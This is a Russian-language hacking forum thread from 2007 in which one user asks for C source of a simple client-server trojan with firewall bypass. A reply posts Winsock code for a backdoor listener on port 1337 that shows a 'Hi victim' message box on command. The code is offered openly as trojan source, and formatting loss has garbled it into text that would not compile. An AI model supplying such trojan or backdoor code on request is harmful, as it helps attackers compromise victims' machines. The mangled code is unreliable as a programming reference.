исходник простого трояна

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Satell, 30 Apr 2007.

  1. Satell

    Satell Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    91
    Likes Received:
    5
    Reputations:
    1
    нужен на с, обычный клиент-сервер, можно с обходом фаерволов и т.п.
     
    1 person likes this.
  2. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    Давно постил на античате ....

    PHP:
    #include <winsock2.h>
    #include <string.h>
    #include <stdio.h>
    #define bPort 1337 
    int main() 

    WSADATA syData
    //WSAData syData; 
    int sin_size,bRe,bSocket;
    int newSocket
    struct sockaddr_in myAddr,theirAddr
    char buffer[80]; 
    WSAStartup(MAKEWORD(11), &syData); 
    bSocket socket(AF_INETSOCK_STREAM0); 
    myAddr.sin_port htons(bPort);
    myAddr.sin_family AF_INET
    myAddr.sin_addr.s_addr INADDR_ANY;
    memset(&(myAddr.sin_zero), '\0'8); 
    bind(bSocket, (struct sockaddr *)&myAddrsizeof(struct sockaddr)); 
     
    listen(bSocket1); 
    sin_size sizeof(struct sockaddr_in); 
    while(
    1) {
    newSocket accept(bSocket, (struct sockaddr *)&theirAddr, &sin_size); 
    while (
    1) { 38. bRe=recv(newSocketbuffersizeof(buffer), 0); 
     if (
    bRe == || bRe == -1) break; 
    (
    strcmp(buffer,"Messagebox") == 0MessageBox("Sup ?","Hi victim",MB_OK); 
     } 

    return 
    0
     }